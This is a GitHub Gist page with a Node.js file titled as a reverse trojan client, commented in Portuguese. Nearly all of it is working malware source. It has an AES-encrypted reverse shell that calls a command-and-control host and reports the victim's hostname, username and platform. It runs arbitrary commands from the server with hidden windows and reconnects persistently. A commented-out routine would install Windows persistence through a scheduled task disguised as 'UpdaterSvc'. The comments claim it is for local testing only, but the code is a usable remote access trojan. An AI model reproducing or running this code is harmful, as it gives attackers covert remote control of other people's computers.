Created
September 3, 2026 13:23
-
-
Save zr0n/629a425af24e22da325d8775c264d7db to your computer and use it in GitHub Desktop.
reverse-trojan-client.js
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| // reverse_trojan.js — cliente de shell reverso criptografado (JavaScript/Node.js) | |
| // USO (apenas em ambiente local de teste/fixture): | |
| // 1) Altere HOST, PORT e ENCRYPT_KEY abaixo | |
| // 2) Rode o servidor de comando (ex.: server.js ao final) no HOST | |
| // 3) Inicie: node reverse_trojan.js | |
| 'use strict'; | |
| const net = require('net'); | |
| const crypto = require('crypto'); | |
| const { spawn } = require('child_process'); | |
| const os = require('os'); | |
| // ====== CONFIGURAÇÃO (placeholders) ====== | |
| const HOST = '192.168.0.47'; // IP/domínio do servidor C2 | |
| const PORT = 4443; // porta do servidor C2 | |
| const ENCRYPT_KEY = Buffer.from('ENCRYPT_KEY_32_BYTES_PLACEHOLDER____'.slice(0, 32)); // chave AES-256 | |
| const HEARTBEAT_MS = 30000; // intervalo do heartbeat | |
| // ========================================= | |
| const ALGO = 'aes-256-gcm'; | |
| const IV_LEN = 12; | |
| const TAG_LEN = 16; | |
| let socket = null; | |
| let connected = false; | |
| // --- criptografia de um payload JSON { type, data } ----------------------- | |
| function encrypt(obj) { | |
| const iv = crypto.randomBytes(IV_LEN); | |
| const cipher = crypto.createCipheriv(ALGO, ENCRYPT_KEY, iv); | |
| const plain = Buffer.from(JSON.stringify(obj), 'utf8'); | |
| const enc = Buffer.concat([cipher.update(plain), cipher.final()]); | |
| const tag = cipher.getAuthTag(); | |
| // frame: [4 bytes tamanho do pacote][iv][tag][ciphertext] | |
| const body = Buffer.concat([iv, tag, enc]); | |
| const head = Buffer.alloc(4); | |
| head.writeUInt32BE(body.length, 0); | |
| return Buffer.concat([head, body]); | |
| } | |
| function decryptChunk(headLen, body) { | |
| const iv = body.subarray(0, IV_LEN); | |
| const tag = body.subarray(IV_LEN, IV_LEN + TAG_LEN); | |
| const enc = body.subarray(IV_LEN + TAG_LEN); | |
| const decipher = crypto.createDecipheriv(ALGO, ENCRYPT_KEY, iv); | |
| decipher.setAuthTag(tag); | |
| const plain = Buffer.concat([decipher.update(enc), decipher.final()]); | |
| return JSON.parse(plain.toString('utf8')); | |
| } | |
| // --- execução do comando no shell local ------------------------------------- | |
| function runCommand(cmd) { | |
| return new Promise((resolve) => { | |
| const shell = process.platform === 'win32' ? 'cmd.exe' : '/bin/sh'; | |
| const arg = process.platform === 'win32' ? ['/c', cmd] : ['-c', cmd]; | |
| const child = spawn(shell, arg, { | |
| windowsHide: true, | |
| cwd: os.homedir(), | |
| }); | |
| let out = ''; | |
| let err = ''; | |
| child.stdout.on('data', (d) => (out += d)); | |
| child.stderr.on('data', (d) => (err += d)); | |
| child.on('error', (e) => { | |
| err += '\n[spawn error] ' + e.message; | |
| resolve({ exitCode: -1, stdout: out, stderr: err }); | |
| }); | |
| child.on('close', (code) => | |
| resolve({ exitCode: code, stdout: out, stderr: err }) | |
| ); | |
| }); | |
| } | |
| // --- processamento das mensagens do servidor -------------------------------- | |
| async function handleMessage(msg) { | |
| switch (msg.type) { | |
| case 'exec': { | |
| const r = await runCommand(String(msg.data || '')); | |
| send({ type: 'exec_result', id: msg.id || 0, data: r }); | |
| break; | |
| } | |
| case 'ping': | |
| send({ type: 'pong', ts: Date.now() }); | |
| break; | |
| case 'shutdown': | |
| // solicita encerramento (opcional: útil no teste local) | |
| process.exit(0); | |
| break; | |
| default: | |
| send({ type: 'error', data: 'tipo de comando desconhecido' }); | |
| } | |
| } | |
| function send(obj) { | |
| if (socket && connected) { | |
| try { | |
| socket.write(encrypt(obj)); | |
| } catch (_) { | |
| /* reconexão cuida disso */ | |
| } | |
| } | |
| } | |
| // --- buffer de desempacotamento das frames ----------------------------------- | |
| class FrameParser { | |
| constructor() { | |
| this.buf = Buffer.alloc(0); | |
| } | |
| push(chunk) { | |
| this.buf = Buffer.concat([this.buf, chunk]); | |
| const frames = []; | |
| while (this.buf.length >= 4) { | |
| const size = this.buf.readUInt32BE(0); | |
| if (this.buf.length < 4 + size) break; | |
| frames.push(this.buf.subarray(4, 4 + size)); | |
| this.buf = this.buf.subarray(4 + size); | |
| } | |
| return frames; | |
| } | |
| } | |
| // --- conexão com reconexão automática (looping persistente) ------------------- | |
| const parser = new FrameParser(); | |
| function connect() { | |
| socket = new net.Socket(); | |
| connected = false; | |
| parser.buf = Buffer.alloc(0); | |
| socket.connect(PORT, HOST, () => { | |
| connected = true; | |
| send({ | |
| type: 'hello', | |
| data: { | |
| hostname: os.hostname(), | |
| user: os.userInfo().username, | |
| platform: process.platform, | |
| arch: process.arch, | |
| pid: process.pid, | |
| cwd: process.cwd(), | |
| }, | |
| }); | |
| }); | |
| socket.on('data', (chunk) => { | |
| for (const frame of parser.push(chunk)) { | |
| try { | |
| handleMessage(decryptChunk(4, frame)).catch((e) => | |
| send({ type: 'error', data: e.message }) | |
| ); | |
| } catch (e) { | |
| // frame inválida/autenticação falhou — ignora (anti injeção) | |
| send({ type: 'error', data: 'falha de autenticação/decodificação' }); | |
| } | |
| } | |
| }); | |
| socket.on('error', () => {}); | |
| socket.on('close', () => { | |
| connected = false; | |
| setTimeout(connect, 5000); // reconexão após 5s | |
| }); | |
| } | |
| // heartbeat periódico para manter a sessão e detectar queda de rede | |
| setInterval(() => { | |
| if (connected) send({ type: 'ping', ts: Date.now() }); | |
| }, HEARTBEAT_MS); | |
| // persistência opcional (somente em fixture local Windows): | |
| // agendar via schtasks ou adicionar entrada ao registro HKCU\...\Run | |
| function installPersistence() { | |
| if (process.platform !== 'win32') return; | |
| const scriptPath = __filename; | |
| const cmd = | |
| `schtasks /create /tn "UpdaterSvc" /tr "node \\"${scriptPath}\\"" /sc onlogon /f`; | |
| spawn('cmd.exe', ['/c', cmd], { windowsHide: true, stdio: 'ignore' }); | |
| } | |
| // installPersistence(); // descomente se quiser ativar a persistência local | |
| connect(); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment